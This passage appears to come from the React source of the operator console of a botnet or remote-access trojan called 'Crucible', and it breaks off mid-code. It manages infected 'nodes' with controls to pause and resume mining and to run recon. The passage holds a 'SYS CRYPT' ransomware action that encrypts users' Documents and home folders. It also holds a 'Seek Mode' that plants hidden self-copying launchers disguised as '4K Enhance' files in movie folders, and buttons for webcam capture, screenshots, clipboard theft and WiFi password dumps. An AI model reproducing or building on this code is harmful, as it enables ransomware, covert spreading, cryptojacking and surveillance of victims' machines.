<tr key={i} className={p.port === 22 ? 'rich-row-ssh' : p.port < 1024 ? 'rich-row-sys' : ''}>
|
||
<td className="rich-port">{p.port}</td>
|
||
<td className="rich-addr">{p.addr || '*'}</td>
|
||
<td className="rich-proto">{p.proto.toUpperCase()}</td>
|
||
<td className="rich-proc">{p.process || '—'}</td>
|
||
<td className="rich-pid">{p.pid ?? '—'}</td>
|
||
</tr>
|
||
))}
|
||
</tbody>
|
||
</table>
|
||
)}
|
||
</div>
|
||
);
|
||
|
||
const RichPatchStatusBlock = ({ d }: { d: RichPatchStatus }) => (
|
||
<div className="rich-block rich-patch">
|
||
<div className="rich-header">
|
||
<span className="rich-label">PATCH STATUS</span>
|
||
{d.reboot_pending && <span className="rich-tag rich-tag-warn blink-slow">REBOOT REQUIRED</span>}
|
||
</div>
|
||
<div className="rich-kv-row">
|
||
<span className="rich-key">Pending Updates</span>
|
||
<span className={`rich-val ${(d.pending_updates ?? 0) > 0 ? 'rich-val-warn' : 'rich-val-ok'}`}>
|
||
{d.pending_updates ?? 0}
|
||
</span>
|
||
</div>
|
||
<div className="rich-kv-row">
|
||
<span className="rich-key">Last Patch</span>
|
||
<span className={`rich-val ${(d.last_patch_days ?? 0) > 60 ? 'rich-val-bad' : (d.last_patch_days ?? 0) > 30 ? 'rich-val-warn' : 'rich-val-ok'}`}>
|
||
{d.last_patch ?? '—'}{d.last_patch_days != null ? ` (${d.last_patch_days}d ago)` : ''}
|
||
</span>
|
||
</div>
|
||
<div className="rich-kv-row">
|
||
<span className="rich-key">Reboot Pending</span>
|
||
<span className={`rich-val ${d.reboot_pending ? 'rich-val-warn' : 'rich-val-ok'}`}>
|
||
{d.reboot_pending ? 'YES' : 'NO'}
|
||
</span>
|
||
</div>
|
||
</div>
|
||
);
|
||
|
||
const fwIcon = (on?: boolean) => on ? <span className="rich-val-ok">ON</span> : <span className="rich-val-bad">OFF</span>;
|
||
|
||
const RichPostureSummaryBlock = ({ d }: { d: RichPostureSummary }) => (
|
||
<div className="rich-block rich-posture">
|
||
<div className="rich-header">
|
||
<span className="rich-label">POSTURE REPORT</span>
|
||
{d.posture_score != null && (
|
||
<span className={`rich-score ${d.posture_score >= 70 ? 'rich-score-ok' : d.posture_score >= 40 ? 'rich-score-warn' : 'rich-score-bad'}`}>
|
||
{d.posture_score} / 100
|
||
</span>
|
||
)}
|
||
</div>
|
||
<div className="rich-posture-grid">
|
||
<div className="rich-kv-row"><span className="rich-key">Defender</span>
|
||
<span className={`rich-val ${d.defender_enabled ? 'rich-val-ok' : 'rich-val-bad'}`}>{d.defender_enabled ? 'ON' : 'OFF'}</span>
|
||
</div>
|
||
<div className="rich-kv-row"><span className="rich-key">Real-Time Prot</span>
|
||
<span className={`rich-val ${d.defender_rtp ? 'rich-val-ok' : 'rich-val-warn'}`}>{d.defender_rtp ? 'ON' : 'OFF'}</span>
|
||
</div>
|
||
<div className="rich-kv-row"><span className="rich-key">Firewall Domain/Priv/Pub</span>
|
||
<span className="rich-val">{fwIcon(d.firewall_domain)} / {fwIcon(d.firewall_private)} / {fwIcon(d.firewall_public)}</span>
|
||
</div>
|
||
<div className="rich-kv-row"><span className="rich-key">AV Products</span>
|
||
<span className="rich-val">{d.av_products?.join(', ') || '—'}</span>
|
||
</div>
|
||
<div className="rich-kv-row"><span className="rich-key">SSH Listening</span>
|
||
<span className={`rich-val ${d.ssh_listening ? 'rich-val-ok' : 'rich-val-bad'}`}>{d.ssh_listening ? 'YES' : 'NO'}</span>
|
||
</div>
|
||
<div className="rich-kv-row"><span className="rich-key">Agent Elevated</span>
|
||
<span className={`rich-val ${d.agent_elevated ? 'rich-val-warn' : 'rich-val-ok'}`}>{d.agent_elevated ? 'YES (ADMIN)' : 'no'}</span>
|
||
</div>
|
||
{d.last_patch_days != null && (
|
||
<div className="rich-kv-row"><span className="rich-key">Last Patch</span>
|
||
<span className={`rich-val ${d.last_patch_days > 60 ? 'rich-val-bad' : d.last_patch_days > 30 ? 'rich-val-warn' : 'rich-val-ok'}`}>
|
||
{d.last_patch_days}d ago{d.pending_updates ? ` · ${d.pending_updates} pending` : ''}
|
||
{d.reboot_pending ? ' · REBOOT!' : ''}
|
||
</span>
|
||
</div>
|
||
)}
|
||
</div>
|
||
{d.services && d.services.length > 0 && (
|
||
<>
|
||
<div className="rich-sub-label">SERVICES</div>
|
||
<table className="rich-table">
|
||
<thead><tr><th>SERVICE</th><th>STATUS</th><th>START</th></tr></thead>
|
||
<tbody>
|
||
{d.services.map((s, i) => (
|
||
<tr key={i}>
|
||
<td className="rich-proc">{s.display_name || s.name}</td>
|
||
<td className={`rich-svc-status ${s.status === 'running' ? 'rich-val-ok' : 'rich-val-bad'}`}>{s.status.toUpperCase()}</td>
|
||
<td className="rich-addr">{s.start_type}</td>
|
||
</tr>
|
||
))}
|
||
</tbody>
|
||
</table>
|
||
</>
|
||
)}
|
||
</div>
|
||
);
|
||
|
||
const renderRichData = (d: RichTermData, lineAgentName?: string) => {
|
||
if (d.type === 'listen_ports') return <RichListenPortsTable d={d} />;
|
||
if (d.type === 'patch_status') return <RichPatchStatusBlock d={d} />;
|
||
if (d.type === 'posture') return <RichPostureSummaryBlock d={d} />;
|
||
if (d.type === 'full_sys_check') {
|
||
return <FullSysCheckPanel report={d.report} agentName={lineAgentName ?? 'agent'} />;
|
||
}
|
||
if (d.type === 'screenshot') return (
|
||
<div style={{ marginTop: '0.4rem' }}>
|
||
<img
|
||
src={`data:image/png;base64,${d.b64}`}
|
||
alt="screenshot"
|
||
style={{ maxWidth: '100%', maxHeight: 340, borderRadius: 4, border: '1px solid #333', cursor: 'pointer' }}
|
||
onClick={() => window.open(`data:image/png;base64,${d.b64}`, '_blank')}
|
||
title="Click to open full size"
|
||
/>
|
||
</div>
|
||
);
|
||
return null;
|
||
};
|
||
|
||
// ── Render ─────────────────────────────────────────────────────────────
|
||
|
||
return (
|
||
<div className="page fade-in crucible-page operator-deck-page">
|
||
<header className="deck-hero" style={{ marginBottom: '1rem' }}>
|
||
<div className="deck-hero-text">
|
||
<p className="deck-eyebrow font-tech">REMOTE OPERATIONS THEATER</p>
|
||
<h1>Crucible</h1>
|
||
<p className="page-subtitle">select nodes · group them · command them all at once</p>
|
||
</div>
|
||
<div className="deck-hero-status">
|
||
<div className="crucible-sel-summary">
|
||
<span className="font-tech" style={{ color: 'var(--neon-cyan)' }}>
|
||
{selectedIds.size > 0 ? `${selectedIds.size} selected` : 'none selected'}
|
||
</span>
|
||
<span style={{ color: 'var(--text-muted)', fontSize: '0.8rem' }}>
|
||
{agents.filter(online).length} online / {agents.length} total
|
||
</span>
|
||
</div>
|
||
<button className="button crucible-btn" onClick={selectAll}>Select Online</button>
|
||
<button className="button crucible-btn-muted" onClick={clearSel}>Clear</button>
|
||
{selectedIds.size > 0 && (
|
||
<button className="button crucible-btn" onClick={() => setShowGroupModal(true)}>
|
||
Create group…
|
||
</button>
|
||
)}
|
||
</div>
|
||
</header>
|
||
|
||
<AlsoHere page="/crucible" />
|
||
|
||
<FleetGroupsStrip
|
||
groups={groups}
|
||
liveAgentIds={onlineAgentIds}
|
||
selectedCount={selectedIds.size}
|
||
onSelectGroup={activateGroup}
|
||
onDeleteGroup={removeGroup}
|
||
onCreateGroup={() => setShowGroupModal(true)}
|
||
/>
|
||
|
||
<div className="crucible-layout">
|
||
<aside className="crucible-sidebar">
|
||
<NeonCard
|
||
accent="cyan"
|
||
className="crucible-heat-card operator-deck-card operator-interactive"
|
||
tilt3d={false}
|
||
>
|
||
<FleetHeatMiniMap
|
||
agents={agents}
|
||
groups={groups}
|
||
allIds={allIds}
|
||
selectedIds={selectedIds}
|
||
onSelectAgent={selectAgent}
|
||
/>
|
||
</NeonCard>
|
||
</aside>
|
||
|
||
<div className="crucible-main">
|
||
{/* ── Node Roster ─────────────────────────────────────────────────── */}
|
||
<NeonCard accent="cyan" className="crucible-roster-card operator-deck-card operator-interactive" hud tilt3d={false}>
|
||
<div className="crucible-section-title font-tech">
|
||
<span className="section-ornament">◆</span> NODE ROSTER
|
||
</div>
|
||
{agents.length === 0 ? (
|
||
<p className="form-hint" style={{ marginTop: '0.5rem' }}>No nodes registered. Forge a build and deploy it to your machines.</p>
|
||
) : (
|
||
<div className="crucible-roster">
|
||
{agents.map((a) => {
|
||
const sel = selectedIds.has(a.id);
|
||
const isOn = online(a);
|
||
const ssh = sshStatus(a);
|
||
const posture = postureStatus(a);
|
||
const pg = primaryGroupForAgent(groups, a.id);
|
||
const color = agentColor(a.id, allIds, pg?.color);
|
||
return (
|
||
<div
|
||
key={a.id}
|
||
className={`crucible-node-card operator-interactive ${sel ? 'selected' : ''} ${isOn ? '' : 'offline'}`}
|
||
style={{
|
||
...(sel ? { '--sel-color': color } : {}),
|
||
...(pg ? { borderLeft: `3px solid ${pg.color}` } : {}),
|
||
} as React.CSSProperties}
|
||
onClick={() => toggle(a.id)}
|
||
>
|
||
<div className="crucible-node-check">
|
||
<span className={`cn-checkbox ${sel ? 'checked' : ''}`}
|
||
style={sel ? { borderColor: color, background: color + '33' } : undefined} />
|
||
</div>
|
||
<div className="crucible-node-body">
|
||
<div className="cn-name" style={sel || pg ? { color: pg?.color ?? color } : undefined}>
|
||
<span className="cn-platform">{platformIcon(a.platform)}</span>
|
||
{a.name}
|
||
{pg && (
|
||
<span className="cn-group-pill" style={{ color: pg.color, borderColor: `${pg.color}66` }}>
|
||
{pg.name}
|
||
</span>
|
||
)}
|
||
</div>
|
||
<div className="cn-meta">
|
||
<span className="cn-badge">{a.platform ?? 'unknown'}{a.arch ? `·${a.arch}` : ''}</span>
|
||
<span className={`cn-status-dot ${isOn ? 'on' : 'off'}`} />
|
||
</div>
|
||
<div className="cn-ip font-tech">{a.ip || '—'}</div>
|
||
<div className="cn-stats">
|
||
<span>{a.cpu_cores}c</span>
|
||
<span>{formatHashrate(a.hashrate_15m)}</span>
|
||
<LatencyBadge ms={isOn ? a.latency_ms : undefined} compact />
|
||
</div>
|
||
<div className="cn-badges">
|
||
<div className={`cn-ssh ${ssh.cls}`}>{ssh.label}</div>
|
||
<div
|
||
className={`cn-posture ${posture.cls}`}
|
||
title={postureTooltip(a)}
|
||
>
|
||
{posture.label}
|
||
</div>
|
||
{posture.patch && (
|
||
<div
|
||
className={`cn-patch ${posture.patch.cls}`}
|
||
title={`Last patch: ${a.last_patch ?? '?'} (${a.last_patch_days ?? '?'}d ago)${a.pending_updates !== undefined ? ` · ${a.pending_updates} pending` : ''}`}
|
||
>
|
||
{posture.patch.label}
|
||
</div>
|
||
)}
|
||
{posture.ports && (
|
||
<div
|
||
className={`cn-ports ${posture.ports.cls}`}
|
||
title={`${a.listen_port_count ?? '?'} TCP listeners (run listen_ports for full list)`}
|
||
>
|
||
{posture.ports.label}
|
||
</div>
|
||
)}
|
||
{(() => { const pb = pendingBadge(a); return pb && (
|
||
<div className={`cn-upd ${pb.cls}`} title={`${pb.label === 'UP TO DATE' ? 'No pending updates' : `${a.pending_updates} pending update(s)`}`}>
|
||
{pb.label}
|
||
</div>
|
||
); })()}
|
||
{(() => { const rb = rebootBadge(a); return rb && (
|
||
<div className={`cn-reboot ${rb.cls}`} title="System reboot required to apply updates">
|
||
{rb.label}
|
||
</div>
|
||
); })()}
|
||
{a.agent_elevated && (
|
||
<div className="cn-elevated" title="Running as Administrator / root">ADMIN</div>
|
||
)}
|
||
{(() => { const tb = thermalBadge(a); return tb && (
|
||
<div
|
||
className={`cn-thermal ${tb.cls}`}
|
||
title={`CPU: ${a.cpu_temp_c ?? '?'}°C GPU: ${a.gpu_temp_c ?? '?'}°C`}
|
||
>{tb.label}</div>
|
||
); })()}
|
||
{(() => { const db = diskBadge(a); return db && (
|
||
<div
|
||
className={`cn-disk ${db.cls}`}
|
||
title={`Disk: ${a.disk_free_gb?.toFixed(1) ?? '?'} GB free of ${a.disk_total_gb?.toFixed(0) ?? '?'} GB`}
|
||
>{db.label}</div>
|
||
); })()}
|
||
{(() => { const trb = throttleBadge(a); return trb && (
|
||
<div
|
||
className={`cn-throttle ${trb.cls}`}
|
||
title={`CPU running at ${a.cpu_freq_mhz ?? '?'} MHz (max ${a.cpu_max_mhz ?? '?'} MHz)`}
|
||
>{trb.label}</div>
|
||
); })()}
|
||
{(() => { const db2 = dnsBadge(a); return db2 && (
|
||
<div
|
||
className={`cn-dns ${db2.cls}`}
|
||
title={`DNS changed since last heartbeat!\nCurrent: ${a.dns_servers?.join(', ') ?? '?'}`}
|
||
>{db2.label}</div>
|
||
); })()}
|
||
</div>
|
||
{a.dns_servers && a.dns_servers.length > 0 && (
|
||
<div className={`cn-dns-row${a.dns_drifted ? ' dns-drifted' : ''}`}
|
||
title={`DNS: ${a.dns_servers.join(', ')}${a.dns_search_domains?.length ? ' Search: ' + a.dns_search_domains.join(', ') : ''}`}>
|
||
<span className="cn-dns-icon">⬡</span>
|
||
{a.dns_servers.slice(0, 2).join(' · ')}
|
||
{a.dns_drifted && <span className="dns-drift-flag"> ⚠ DRIFT</span>}
|
||
</div>
|
||
)}
|
||
{a.services && a.services.length > 0 && (
|
||
<div className="cn-services">
|
||
{importantServices(a.services).map(svc => (
|
||
<span
|
||
key={svc.name}
|
||
className={`cn-svc ${svcDotClass(svc.status)}`}
|
||
title={`${svc.display_name ?? svc.name} status: ${svc.status} start: ${svc.start_type}`}
|
||
>
|
||
<span className="svc-dot">{svcDot(svc.status)}</span>
|
||
{svcLabel(svc)}
|
||
</span>
|
||
))}
|
||
</div>
|
||
)}
|
||
</div>
|
||
</div>
|
||
);
|
||
})}
|
||
</div>
|
||
)}
|
||
</NeonCard>
|
||
|
||
{/* ── Focused machine banner ──────────────────────────────────────── */}
|
||
{focusedAgent && (
|
||
<div className="crucible-focus-bar" style={{
|
||
display: 'flex', alignItems: 'center', gap: '1.5rem', flexWrap: 'wrap',
|
||
background: 'rgba(0,245,255,0.06)', border: '1px solid rgba(0,245,255,0.25)',
|
||
borderRadius: '8px', padding: '0.65rem 1rem', marginBottom: '1rem',
|
||
fontSize: '0.85rem',
|
||
}}>
|
||
<span style={{ color: 'var(--neon-cyan)', fontFamily: 'monospace', fontWeight: 700, fontSize: '0.75rem', letterSpacing: '0.1em' }}>
|
||
▶ ACTIVE TARGET
|
||
</span>
|
||
<span style={{ fontFamily: 'monospace', color: agentColor(focusedAgent.id, allIds), fontWeight: 600 }}>
|
||
{platformIcon(focusedAgent.platform)} {focusedAgent.name}
|
||
</span>
|
||
<span style={{ color: 'var(--text-muted)' }}>{focusedAgent.ip || '—'}</span>
|
||
<span className={`status-badge ${focusedAgent.status}`}>{focusedAgent.status}</span>
|
||
<LatencyBadge ms={focusedAgent.status === 'online' ? focusedAgent.latency_ms : undefined} />
|
||
<span style={{ color: 'var(--text-muted)' }}>{focusedAgent.platform ?? ''} {focusedAgent.arch ?? ''}</span>
|
||
<span style={{ color: 'var(--text-muted)' }}>{focusedAgent.cpu_cores}c · {focusedAgent.memory_gb}GB</span>
|
||
{focusedAgent.status !== 'online' && (
|
||
<span style={{ color: '#ff6666', fontFamily: 'monospace', fontSize: '0.8rem' }}>
|
||
⚠ offline — commands will fail until it reconnects
|
||
</span>
|
||
)}
|
||
<button
|
||
className="button crucible-btn-muted"
|
||
style={{ marginLeft: 'auto', fontSize: '0.75rem', padding: '0.2rem 0.6rem' }}
|
||
onClick={() => setSelectedIds(new Set())}
|
||
>
|
||
Deselect
|
||
</button>
|
||
</div>
|
||
)}
|
||
|
||
{/* ── Groups & Actions ────────────────────────────────────────────── */}
|
||
<div className="crucible-row">
|
||
<NeonCard accent="purple" className="crucible-groups-card operator-deck-card operator-interactive" tilt3d={false}>
|
||
<div className="crucible-section-title font-tech">
|
||
<span className="section-ornament">◆</span> GROUPS
|
||
</div>
|
||
<p className="form-hint" style={{ margin: '0 0 0.5rem' }}>
|
||
Same groups as Fleet Roster — click a chip to select all members.
|
||
</p>
|
||
{groups.length === 0 ? (
|
||
<p className="form-hint" style={{ margin: 0 }}>
|
||
Select nodes, then <strong>Create group…</strong> to name and color them.
|
||
</p>
|
||
) : (
|
||
<div className="crucible-groups-list">
|
||
{groups.map((g) => (
|
||
<div
|
||
key={g.id}
|
||
className="crucible-group-item"
|
||
style={{
|
||
borderColor: `${g.color}55`,
|
||
background: `${g.color}14`,
|
||
}}
|
||
onClick={() => activateGroup(g)}
|
||
>
|
||
<span className="fleet-group-chip-dot" style={{ background: g.color }} />
|
||
<span className="cg-name" style={{ color: g.color }}>{g.name}</span>
|
||
<span className="cg-count">{g.agentIds.length} nodes</span>
|
||
<button className="cg-del" onClick={(e) => { e.stopPropagation(); removeGroup(g.id); }}>×</button>
|
||
</div>
|
||
))}
|
||
</div>
|
||
)}
|
||
{selectedIds.size > 0 && (
|
||
<button
|
||
type="button"
|
||
className="button crucible-btn"
|
||
style={{ marginTop: '0.75rem' }}
|
||
onClick={() => setShowGroupModal(true)}
|
||
>
|
||
Create group from selection ({selectedIds.size})
|
||
</button>
|
||
)}
|
||
</NeonCard>
|
||
|
||
<NeonCard accent="amber" className="crucible-actions-card operator-deck-card operator-interactive" tilt3d={false}>
|
||
<div className="crucible-section-title font-tech">
|
||
<span className="section-ornament">◆</span> OPERATIONS
|
||
{selectedIds.size > 0 && (
|
||
<span style={{ marginLeft: '0.75rem', color: 'var(--neon-cyan)', fontSize: '0.75rem', fontWeight: 400 }}>
|
||
→ {selectedIds.size === 1 ? selectedAgents[0]?.name ?? '1 node' : `${selectedIds.size} nodes`}
|
||
</span>
|
||
)}
|
||
</div>
|
||
<div className="crucible-ops">
|
||
|
||
{/* ── Posture ──────────────────────────────────── */}
|
||
<div className="crucible-op-group cop-recon">
|
||
<span className="cop-label">Posture & Recon</span>
|
||
<button
|
||
className="button crucible-op-btn crucible-op-scan"
|
||
disabled={selectedIds.size === 0 && agents.filter(online).length === 0}
|
||
onClick={() => scanSelected()}
|
||
title={selectedIds.size > 0
|
||
? `Deep scan ${selectedIds.size} selected node(s): posture + ports + patch`
|
||
: 'Deep scan ALL online nodes: posture + ports + patch'}
|
||
>
|
||
{selectedIds.size > 0
|
||
? `⬡ Deep Scan (${selectedIds.size} selected)`
|
||
: `⬡ Deep Scan Fleet (${agents.filter(online).length} online)`}
|
||
</button>
|
||
<button
|
||
className="button crucible-op-btn"
|
||
disabled={selectedIds.size === 0 && agents.filter(online).length === 0}
|
||
onClick={() => probePosture(selectedIds.size > 0 ? selectedAgents.filter(online) : agents.filter(online))}
|
||
title="Posture only (AV, firewall, SSH state)"
|
||
>
|
||
Posture Only
|
||
</button>
|
||
</div>
|
||
|
||
<CrucibleExpandedOps
|
||
selectedAgents={selectedAgents}
|
||
selectedCount={selectedIds.size}
|
||
singleSelectedAgent={singleSelectedAgent}
|
||
commandResults={commandResults}
|
||
onEcho={appendTerminalLine}
|
||
onAgentError={(agentId, agentName, action, err) => {
|
||
setTermLines((prev) => [
|
||
...prev,
|
||
{
|
||
id: mkId(),
|
||
agentId,
|
||
agentName,
|
||
isCmd: false,
|
||
text: `[ERROR] ${action}: ${err instanceof Error ? err.message : String(err)}`,
|
||
ts: new Date(),
|
||
success: false,
|
||
targeted: true,
|
||
},
|
||
]);
|
||
}}
|
||
/>
|
||
|
||
{/* ── SSH ──────────────────────────────────────── */}
|
||
<div className="crucible-op-group cop-ssh">
|
||
<span className="cop-label">SSH</span>
|
||
<button
|
||
className="button crucible-op-btn"
|
||
disabled={selectedIds.size === 0}
|
||
onClick={() => probeSSH()}
|
||
title="Probe port 22 on selected nodes"
|
||
>
|
||
Probe SSH
|
||
</button>
|
||
<button
|
||
className="button crucible-op-btn crucible-op-wake"
|
||
disabled={selectedIds.size === 0}
|
||
onClick={() => wakeSSH()}
|
||
title="Install + start OpenSSH server on selected Windows nodes"
|
||
>
|
||
⚡ Wake SSH
|
||
</button>
|
||
</div>
|
||
|
||
{/* ── Mining ───────────────────────────────────── */}
|
||
<div className="crucible-op-group cop-mining">
|
||
<span className="cop-label">Mining</span>
|
||
<button
|
||
className="button crucible-op-btn"
|
||
disabled={selectedIds.size === 0}
|
||
onClick={() => {
|
||
const ids = selectedAgents.filter(online).map((a) => a.id);
|
||
if (ids.length === 0) return;
|
||
api.sendBulkCommand(ids, 'resume').then((r) => {
|
||
setTermLines((prev) => [...prev, {
|
||
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true,
|
||
text: `resume → sent:${r.sent} failed:${r.failed}`, ts: new Date(),
|
||
}]);
|
||
}).catch((err) => {
|
||
setTermLines((prev) => [...prev, {
|
||
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: false,
|
||
text: `[ERROR] resume: ${err instanceof Error ? err.message : String(err)}`,
|
||
ts: new Date(), success: false,
|
||
}]);
|
||
});
|
||
}}
|
||
>
|
||
Resume
|
||
</button>
|
||
<button
|
||
className="button crucible-op-btn"
|
||
disabled={selectedIds.size === 0}
|
||
onClick={() => {
|
||
const ids = selectedAgents.filter(online).map((a) => a.id);
|
||
if (ids.length === 0) return;
|
||
api.sendBulkCommand(ids, 'pause').then((r) => {
|
||
setTermLines((prev) => [...prev, {
|
||
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true,
|
||
text: `pause → sent:${r.sent} failed:${r.failed}`, ts: new Date(),
|
||
}]);
|
||
}).catch((err) => {
|
||
setTermLines((prev) => [...prev, {
|
||
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: false,
|
||
text: `[ERROR] pause: ${err instanceof Error ? err.message : String(err)}`,
|
||
ts: new Date(), success: false,
|
||
}]);
|
||
});
|
||
}}
|
||
>
|
||
Pause
|
||
</button>
|
||
<button
|
||
className="button crucible-op-btn"
|
||
disabled={selectedIds.size === 0}
|
||
onClick={() => dispatch('whoami', shellType)}
|
||
title="Run whoami on selected"
|
||
>
|
||
whoami
|
||
</button>
|
||
<button
|
||
className="button crucible-op-btn"
|
||
disabled={selectedIds.size === 0}
|
||
onClick={() => dispatch(shellType === 'powershell' ? 'ipconfig /all' : 'ip addr', shellType)}
|
||
title="Network adapter info"
|
||
>
|
||
ipconfig
|
||
</button>
|
||
</div>
|
||
|
||
{/* ── Sys Crypt + remote browser ───────────────── */}
|
||
<div className="crucible-op-group cop-destructive">
|
||
<span className="cop-label">⚠ Destructive</span>
|
||
<button
|
||
className="button crucible-op-btn"
|
||
disabled={selectedIds.size === 0}
|
||
title="AES-256-GCM encrypt every file in Documents/home (legacy shortcut; requires Remote Aggressive Ops)"
|
||
style={{
|
||
background: 'linear-gradient(135deg, #7b0000 0%, #cc0000 100%)',
|
||
border: '1px solid #ff2222',
|
||
color: '#fff',
|
||
fontWeight: 700,
|
||
letterSpacing: '0.06em',
|
||
}}
|
||
onClick={() => {
|
||
if (!confirm(`SYS CRYPT — encrypt Documents/home on ${selectedIds.size} node(s)?\n\nThis is IRREVERSIBLE without the key. Proceed?`)) return;
|
||
Promise.all(
|
||
selectedAgents.filter(online).map((a) =>
|
||
api.sendAgentCommand(a.id, 'sys_crypt').catch((err) => {
|
||
setTermLines((prev) => [
|
||
...prev,
|
||
{
|
||
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
|
||
text: `[ERROR] sys_crypt: ${err instanceof Error ? err.message : String(err)}`,
|
||
ts: new Date(), success: false, targeted: true,
|
||
},
|
||
]);
|
||
})
|
||
)
|
||
);
|
||
appendTerminalLine(`SYS CRYPT → dispatched to ${selectedIds.size} node(s) — encrypting Documents/home`, true);
|
||
}}
|
||
>
|
||
🔒 SYS CRYPT ({selectedIds.size})
|
||
</button>
|
||
{browseAgent && selectedIds.size > 0 ? (
|
||
<>
|
||
{selectedIds.size > 1 && (
|
||
<p className="form-hint" style={{ margin: '0.35rem 0 0', fontSize: '0.72rem' }}>
|
||
Browsing {browseAgent.name} only — Encrypt applies to all {encryptTargets.length} online selection(s).
|
||
</p>
|
||
)}
|
||
<RemoteDirBrowser
|
||
agentId={browseAgent.id}
|
||
agentName={browseAgent.name}
|
||
platform={browseAgent.platform}
|
||
online={online(browseAgent)}
|
||
encryptTargets={encryptTargets}
|
||
commandResults={fmCommandResults}
|
||
onTerminalLine={appendTerminalLine}
|
||
/>
|
||
</>
|
||
) : null}
|
||
</div>
|
||
|
||
{/* ── SUPP Seek Mode ───────────────────────────── */}
|
||
<div className="crucible-op-group cop-seek crucible-seek-group">
|
||
<span className="cop-label">◈ SUPP Seek Mode</span>
|
||
<p style={{ margin: '0.25rem 0 0.5rem', fontSize: '0.72rem', color: '#aaa', lineHeight: 1.4 }}>
|
||
Recursively seeds every media directory under the given path with
|
||
silent launcher files. The agent copies itself as a hidden exe (Windows)
|
||
or drops a shell bootstrap (Mac/Linux) in each folder containing a movie.
|
||
</p>
|
||
<label className="seek-field-label">Root Path</label>
|
||
<input
|
||
type="text"
|
||
className="seek-path-input"
|
||
placeholder={`e.g. D:\\ or /Volumes/Movies`}
|
||
value={seekPath}
|
||
onChange={(e) => setSeekPath(e.target.value)}
|
||
style={{
|
||
width: '100%', padding: '0.35rem 0.6rem',
|
||
background: '#0d0d1a', border: '1px solid #333',
|
||
color: 'var(--neon-cyan)', borderRadius: 4,
|
||
fontFamily: 'var(--font-tech)', fontSize: '0.82rem',
|
||
marginBottom: '0.4rem', boxSizing: 'border-box',
|
||
}}
|
||
/>
|
||
<label className="seek-field-label">Launcher Stem (file name)</label>
|
||
<input
|
||
type="text"
|
||
className="seek-path-input"
|
||
placeholder="4K Enhance"
|
||
value={seekStem}
|
||
onChange={(e) => setSeekStem(e.target.value)}
|
||
style={{
|
||
width: '100%', padding: '0.35rem 0.6rem',
|
||
background: '#0d0d1a', border: '1px solid #333',
|
||
color: '#ddd', borderRadius: 4,
|
||
fontFamily: 'var(--font-tech)', fontSize: '0.82rem',
|
||
marginBottom: '0.5rem', boxSizing: 'border-box',
|
||
}}
|
||
/>
|
||
<div style={{ display: 'flex', gap: '1rem', marginBottom: '0.6rem', fontSize: '0.8rem' }}>
|
||
<label style={{ display: 'flex', alignItems: 'center', gap: '0.35rem', cursor: 'pointer' }}>
|
||
<input type="checkbox" checked={seekWin} onChange={(e) => setSeekWin(e.target.checked)} />
|
||
<span style={{ color: '#61dafb' }}>⊞ Windows</span>
|
||
<span style={{ color: '#555', fontSize: '0.7rem' }}>.bat + .exe</span>
|
||
</label>
|
||
<label style={{ display: 'flex', alignItems: 'center', gap: '0.35rem', cursor: 'pointer' }}>
|
||
<input type="checkbox" checked={seekMac} onChange={(e) => setSeekMac(e.target.checked)} />
|
||
<span style={{ color: '#a8ff78' }}>⌘ Mac/Linux</span>
|
||
<span style={{ color: '#555', fontSize: '0.7rem' }}>.command</span>
|
||
</label>
|
||
</div>
|
||
<button
|
||
className="button crucible-op-btn"
|
||
disabled={selectedIds.size === 0 || (!seekWin && !seekMac)}
|
||
onClick={launchSeek}
|
||
title={selectedIds.size === 0
|
||
? 'Select at least one agent to seed from'
|
||
: `Launch SUPP Seek on ${selectedIds.size} agent(s) — scans ${seekPath || '<path>'}`}
|
||
style={{
|
||
background: 'linear-gradient(135deg, #ff8c00 0%, #ff4500 100%)',
|
||
border: 'none', color: '#fff', fontWeight: 700,
|
||
letterSpacing: '0.08em',
|
||
}}
|
||
>
|
||
◈ LAUNCH SEEK ({selectedIds.size} node{selectedIds.size !== 1 ? 's' : ''})
|
||
</button>
|
||
<p style={{ margin: '0.4rem 0 0', fontSize: '0.68rem', color: '#666' }}>
|
||
Results appear in the terminal below. Each seeded dir drops:<br />
|
||
{seekWin && <><strong style={{ color: '#61dafb' }}>{seekStem || '4K Enhance'}.bat</strong> + <strong style={{ color: '#61dafb' }}>{seekStem || '4K Enhance'}.exe</strong>{seekMac ? ' & ' : ''}</>}
|
||
{seekMac && <strong style={{ color: '#a8ff78' }}>{seekStem || '4K Enhance'}.command</strong>}
|
||
</p>
|
||
</div>
|
||
|
||
{/* ── Recon ────────────────────────────────────── */}
|
||
<div className="crucible-op-group cop-recon">
|
||
<span className="cop-label">Recon</span>
|
||
<button
|
||
className="button crucible-op-btn"
|
||
style={{ borderColor: 'rgba(0,245,255,0.5)' }}
|
||
disabled={selectedIds.size === 0}
|
||
title="Deep audit: firewall, WAN IP, geo, DNS, ARP, subnet scan, hardware, listeners (30–60s)"
|
||
onClick={() => {
|
||
selectedAgents.filter(online).forEach((a) => {
|
||
api.sendAgentCommand(a.id, 'full_sys_check').catch((err) =>
|
||
setTermLines((prev) => [...prev, {
|
||
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
|
||
text: `[ERROR] full_sys_check: ${err instanceof Error ? err.message : String(err)}`,
|
||
ts: new Date(), success: false, targeted: true,
|
||
}])
|
||
);
|
||
});
|
||
setTermLines((prev) => [...prev, {
|
||
id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true,
|
||
text: `full_sys_check → ${selectedIds.size} node(s)`, ts: new Date(),
|
||
}]);
|
||
}}
|
||
>
|
||
Full Sys Check
|
||
</button>
|
||
{(['screenshot','camera_snapshot','clipboard','wifi','software','ps','netstat','sysinfo','users'] as const).map((cmd) => (
|
||
<button
|
||
key={cmd}
|
||
className="button crucible-op-btn"
|
||
disabled={selectedIds.size === 0}
|
||
title={{
|
||
screenshot: 'Capture the desktop screenshot',
|
||
camera_snapshot: 'Capture one JPEG frame from USB/built-in webcam (ffmpeg on agent)',
|
||
clipboard: 'Read the current clipboard contents',
|
||
wifi: 'Dump all saved WiFi passwords',
|
||
software: 'List installed programs',
|
||
ps: 'Running process list (tasklist)',
|
||
netstat: 'Active TCP/UDP connections',
|
||
sysinfo: 'Full system info (OS, CPU, RAM, uptime)',
|
||
users: 'Local user accounts + whoami /all',
|
||
}[cmd]}
|
||
onClick={() => {
|
||
selectedAgents.filter(online).forEach((a) => {
|
||
